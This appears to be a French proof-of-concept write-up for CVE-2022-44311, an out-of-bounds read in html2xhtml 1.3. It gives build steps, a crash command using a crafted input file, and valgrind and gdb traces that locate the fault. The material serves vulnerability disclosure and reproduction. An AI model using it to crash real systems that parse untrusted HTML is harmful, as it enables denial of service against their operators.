
Preuve de concept pour CVE-2022-44311
Il a été découvert que html2xhtml v1.3 contient une lecture hors limites dans la fonction static void elm_close(tree_node_t *nodo) dans procesador.c. Cette vulnérabilité permet à des attaquants d'accéder à des fichiers sensibles ou de provoquer un déni de service (DoS) via un fichier html spécialement conçu.
Pour reproduire la vulnérabilité, téléchargez une version vulnérable de html2xhtml (v1.3) et compilez le projet :
wget http://www.it.uc3m.es/jaf/html2xhtml/downloads/html2xhtml-1.3.tar.gz
tar -xzvf html2xhtml-1.3.tar.gz
cd html2xhtml-1.3
./configure
make
cd src
Une fois le projet compilé, nous pouvons pointer html2xhtml vers notre fichier de preuve de concept inclus dans ce dépôt (CVE-2022-44311_crash) :
./html2xhtml -t frameset ./CVE-2022-44311_crash
La commande précédente produira un crash et renverra un message d'erreur :
zsh: segmentation fault ./src/html2xhtml -t frameset ./CVE-2022-44311_crash
Attacher valgrind au programme peut nous aider à comprendre ce qui cause le crash :
└─$ valgrind ./src/html2xhtml -t frameset ./CVE-2022-44311_crash
==267753== Memcheck, a memory error detector
==267753== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.
==267753== Using Valgrind-3.19.0 and LibVEX; rerun with -h for copyright info
==267753== Command: ./src/html2xhtml -t frameset ./CVE-2022-44311_crash
==267753==
==267753== Invalid read of size 4
==267753== at 0x11B18A: elm_close (procesador.c:944)
==267753== by 0x11B18A: err_html_struct (procesador.c:1889)
==267753== by 0x11BBB5: err_content_invalid (procesador.c:1291)
==267753== by 0x11BBB5: elm_close.part.0 (procesador.c:959)
==267753== by 0x11C4C0: elm_close (procesador.c:944)
==267753== by 0x11C4C0: saxEndDocument (procesador.c:233)
==267753== by 0x1144AE: main (html2xhtml.c:117)
==267753== Address 0x3ec404 is not stack'd, malloc'd or (recently) free'd
==267753==
Valgrind nous indique qu'une lecture hors limites de taille 4 a lieu dans procesador.c, ligne 944. Attacher gdb à notre programme et exécuter le fichier malveillant peut confirmer la sortie de valgrind :
$ gdb src/html2xhtml
pwndbg> r -t frameset ./CVE-2022-44311_crash
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0xb11ae
RBX 0x5555555dd344 ◂— 0x3
RCX 0x5a
RDX 0x2
RDI 0x555555573d40 (elm_list) ◂— 0x6c6d7468 /* 'html' */
RSI 0x555555573160 (elm_buffer) ◂— 0xd9810100028b8101
R8 0x1
R9 0x5555555ee520 ◂— 0x5555555ee
R10 0x0
R11 0x7ffff7df2800 (iconv_close) ◂— cmp rdi, -1
R12 0x5555555dd2d6 ◂— 0x0
R13 0x7ffffffedc70 ◂— 0x600000001
R14 0x5555555dd2d6 ◂— 0x0
R15 0x4
RBP 0x555555573d40 (elm_list) ◂— 0x6c6d7468 /* 'html' */
RSP 0x7ffffffedc30 ◂— 0x1
RIP 0x55555556718a (err_html_struct+474) ◂— cmp dword ptr [rbp + rax*4 + 0xc], 4
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────
► 0x55555556718a <err_html_struct+474> cmp dword ptr [rbp + rax*4 + 0xc], 4
0x55555556718f <err_html_struct+479> jne err_html_struct+489 <err_html_struct+489>
↓
0x555555567199 <err_html_struct+489> mov rbx, qword ptr [rbx + 8]
0x55555556719d <err_html_struct+493> test rbx, rbx
0x5555555671a0 <err_html_struct+496> jne err_html_struct+448 <err_html_struct+448>
↓
0x555555567170 <err_html_struct+448> cmp r12, rbx
0x555555567173 <err_html_struct+451> je err_html_struct+498 <err_html_struct+498>
↓
0x5555555671a2 <err_html_struct+498> xor edi, edi
0x5555555671a4 <err_html_struct+500> mov qword ptr [rip + 0x4d6d5], r12 <actual_element>
0x5555555671ab <err_html_struct+507> call new_tree_node <new_tree_node>
0x5555555671b0 <err_html_struct+512> mov dword ptr [rax + 0x18], 0x59
──────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────────────
In file: /dev/shm/html2xhtml-1.3/src/procesador.c
939 static void elm_close(tree_node_t *nodo)
940 {
941 DEBUG("elm_close()");
942 EPRINTF1("cerrando elemento %s\n",ELM_PTR(nodo).name);
943
► 944 if (ELM_PTR(nodo).contenttype[doctype]==CONTTYPE_CHILDREN) {
945 /* si es de tipo child se comprueba su contenido */
946 int content[16384];
947 int i, num;
948 tree_node_t *elm;
949
GDB a confirmé que le programme tente de lire une adresse mémoire invalide lors de l'exécution des lignes de code source suivantes :
► 944 if (ELM_PTR(nodo).contenttype[doctype]==CONTTYPE_CHILDREN) {
945 /* si es de tipo child se comprueba su contenido */
946 int content[16384];
947 int i, num;
948 tree_node_t *elm;